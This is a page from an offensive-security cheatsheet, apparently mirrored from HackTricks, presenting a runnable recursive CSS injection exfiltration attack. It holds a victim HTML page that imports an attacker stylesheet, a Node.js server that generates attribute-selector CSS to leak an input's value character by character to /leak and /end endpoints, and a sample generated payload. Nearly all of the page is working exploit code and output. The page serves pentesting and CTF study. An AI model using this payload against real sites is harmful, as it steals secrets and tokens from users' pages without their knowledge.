daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

css-injection-code.md (7616B)


      1 ---
      2 title: "CSS Injection Code"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/xs-search/css-injection/css-injection-code.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xs-search/css-injection/css-injection-code.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # CSS Injection Code
     14 
     15 This runnable example implements recursive CSS exfiltration. The victim imports an attacker-controlled stylesheet; attribute selectors test one prefix and suffix character at a time, and matching selectors request `/leak` until the complete value triggers `/end`.<sup>[[1]](#references)[[2]](#references)</sup>
     16 
     17 ```html
     18 <!DOCTYPE html>
     19 <body>
     20   <div>
     21     <article>
     22       <div>
     23         <p></p>
     24         <div>
     25           <div>
     26             <div>
     27               <div>
     28                 <div>
     29                   <input type="text" value="1234567890" />
     30                   <style>
     31                     @import url("//localhost:5001/start?");
     32                   </style>
     33                 </div>
     34               </div>
     35             </div>
     36           </div>
     37         </div>
     38       </div>
     39     </article>
     40   </div>
     41 </body>
     42 ```
     43 
     44 ```javascript
     45 const http = require("http")
     46 const url = require("url")
     47 
     48 // Port to exfiltrate to
     49 const port = 5001
     50 // Host to exfiltrate to
     51 const HOSTNAME = "http://localhost:5001"
     52 const DEBUG = false
     53 
     54 var prefix = "",
     55   postfix = ""
     56 var pending = []
     57 var stop = false,
     58   ready = 0,
     59   n = 0
     60 
     61 const requestHandler = (request, response) => {
     62   let req = url.parse(request.url, true)
     63   log("\treq: %s", request.url)
     64 
     65   // If stop is set, leakage is finished
     66   if (stop) return response.end()
     67 
     68   switch (req.pathname) {
     69     // This is only requested when leakage starts
     70     case "/start":
     71       genResponse(response)
     72       break
     73 
     74     // Every time a prefix or suffix character is leaked
     75     case "/leak":
     76       response.end()
     77       // A pre parameter extends the known prefix: s(E)cret
     78       if (req.query.pre && prefix !== req.query.pre) {
     79         prefix = req.query.pre
     80 
     81         // A post parameter extends the known suffix: secre(T)
     82       } else if (req.query.post && postfix !== req.query.post) {
     83         postfix = req.query.post
     84       } else {
     85         break
     86       }
     87 
     88       // Wait for both prefix and suffix probes before responding to the pending @import
     89       if (ready == 2) {
     90         genResponse(pending.shift())
     91         ready = 0
     92       } else {
     93         ready++
     94         log("\tleak: waiting others...")
     95       }
     96       break
     97 
     98     // While waiting for a pre and a post, the next @import is waiting to be responded
     99     // by a new generated payload with another "pre" and "post"
    100     case "/next":
    101       if (ready == 2) {
    102         genResponse(response)
    103         ready = 0
    104       } else {
    105         pending.push(response)
    106         ready++
    107         log("\tquery: waiting others...")
    108       }
    109       break
    110 
    111     // Called when the secret is leaked
    112     case "/end":
    113       stop = true
    114       console.log("[+] END: %s", req.query.token)
    115 
    116     default:
    117       response.end()
    118   }
    119 }
    120 
    121 const genResponse = (response) => {
    122   // Verbose output showing the characters recovered so far
    123   console.log("...pre-payload: " + prefix)
    124   console.log("...post-payload: " + postfix)
    125 
    126   // Payload generation; an example response is shown below
    127   let css =
    128     "@import url(" +
    129     HOSTNAME +
    130     "/next?" +
    131     Math.random() +
    132     ");\n" +
    133     [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, "a", "b", "c", "d", "e", "f"]
    134       .map(
    135         (e) =>
    136           'input[value$="' +
    137           e +
    138           postfix +
    139           '"]{--e' +
    140           n +
    141           ":url(" +
    142           HOSTNAME +
    143           "/leak?post=" +
    144           e +
    145           postfix +
    146           ")}"
    147       )
    148       .join("") +
    149     "div ".repeat(n) +
    150     "input{background:var(--e" +
    151     n +
    152     ")}" +
    153     [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, "a", "b", "c", "d", "e", "f"]
    154       .map(
    155         (e) =>
    156           'input[value^="' +
    157           prefix +
    158           e +
    159           '"]{--s' +
    160           n +
    161           ":url(" +
    162           HOSTNAME +
    163           "/leak?pre=" +
    164           prefix +
    165           e +
    166           ")}"
    167       )
    168       .join("") +
    169     "div ".repeat(n) +
    170     "input{border-image:var(--s" +
    171     n +
    172     ")}" +
    173     "input[value=" +
    174     prefix +
    175     postfix +
    176     "]{list-style:url(" +
    177     HOSTNAME +
    178     "/end?token=" +
    179     prefix +
    180     postfix +
    181     "&)};"
    182 
    183   response.writeHead(200, { "Content-Type": "text/css" })
    184   response.write(css)
    185   response.end()
    186   n++
    187 }
    188 
    189 // Server listening
    190 const server = http.createServer(requestHandler)
    191 
    192 server.listen(port, (err) => {
    193   if (err) {
    194     return console.log("[-] Error: something bad happened", err)
    195   }
    196   console.log("[+] Server is listening on %d", port)
    197 })
    198 
    199 function log() {
    200   if (DEBUG) console.log.apply(console, arguments)
    201 }
    202 
    203 /*
    204 HTTP/1.1 200 OK
    205 Content-Type: text/css
    206 Date: Fri, 01 Apr 2022 14:35:39 GMT
    207 Connection: close
    208 Content-Length: 2149
    209 
    210 @import url(http://localhost:5001/next?0.7834603960990516);
    211 input[value$="0"]{--e0:url(http://localhost:5001/leak?post=0)}
    212 input[value$="1"]{--e0:url(http://localhost:5001/leak?post=1)}
    213 input[value$="2"]{--e0:url(http://localhost:5001/leak?post=2)}
    214 input[value$="3"]{--e0:url(http://localhost:5001/leak?post=3)}
    215 input[value$="4"]{--e0:url(http://localhost:5001/leak?post=4)}
    216 input[value$="5"]{--e0:url(http://localhost:5001/leak?post=5)}
    217 input[value$="6"]{--e0:url(http://localhost:5001/leak?post=6)}
    218 input[value$="7"]{--e0:url(http://localhost:5001/leak?post=7)}
    219 input[value$="8"]{--e0:url(http://localhost:5001/leak?post=8)}
    220 input[value$="9"]{--e0:url(http://localhost:5001/leak?post=9)}
    221 input[value$="a"]{--e0:url(http://localhost:5001/leak?post=a)}
    222 input[value$="b"]{--e0:url(http://localhost:5001/leak?post=b)}
    223 input[value$="c"]{--e0:url(http://localhost:5001/leak?post=c)}
    224 input[value$="d"]{--e0:url(http://localhost:5001/leak?post=d)}
    225 input[value$="e"]{--e0:url(http://localhost:5001/leak?post=e)}
    226 input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
    227 input{background:var(--e0)}
    228 input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
    229 input[value^="1"]{--s0:url(http://localhost:5001/leak?pre=1)}
    230 input[value^="2"]{--s0:url(http://localhost:5001/leak?pre=2)}
    231 input[value^="3"]{--s0:url(http://localhost:5001/leak?pre=3)}
    232 input[value^="4"]{--s0:url(http://localhost:5001/leak?pre=4)}
    233 input[value^="5"]{--s0:url(http://localhost:5001/leak?pre=5)}
    234 input[value^="6"]{--s0:url(http://localhost:5001/leak?pre=6)}
    235 input[value^="7"]{--s0:url(http://localhost:5001/leak?pre=7)}
    236 input[value^="8"]{--s0:url(http://localhost:5001/leak?pre=8)}
    237 input[value^="9"]{--s0:url(http://localhost:5001/leak?pre=9)}
    238 input[value^="a"]{--s0:url(http://localhost:5001/leak?pre=a)}
    239 input[value^="b"]{--s0:url(http://localhost:5001/leak?pre=b)}
    240 input[value^="c"]{--s0:url(http://localhost:5001/leak?pre=c)}
    241 input[value^="d"]{--s0:url(http://localhost:5001/leak?pre=d)}
    242 input[value^="e"]{--s0:url(http://localhost:5001/leak?pre=e)}
    243 input[value^="f"]{--s0:url(http://localhost:5001/leak?pre=f)}
    244 input{border-image:var(--s0)}
    245 input[value=]{list-style:url(http://localhost:5001/end?token=&)};
    246 */
    247 
    248 ```
    249 
    250 The response block above is the complete first-round output. Subsequent rounds use the same selector set with the recovered prefix and suffix incorporated into each probe.
    251 
    252 ## References
    253 
    254 - [1] [LINE CTF 2022 - CSS/XS-Leak writeup and recursive exfiltration code](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
    255 - [2] [Pepe Vila - Recursive CSS exfiltration proof of concept](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231)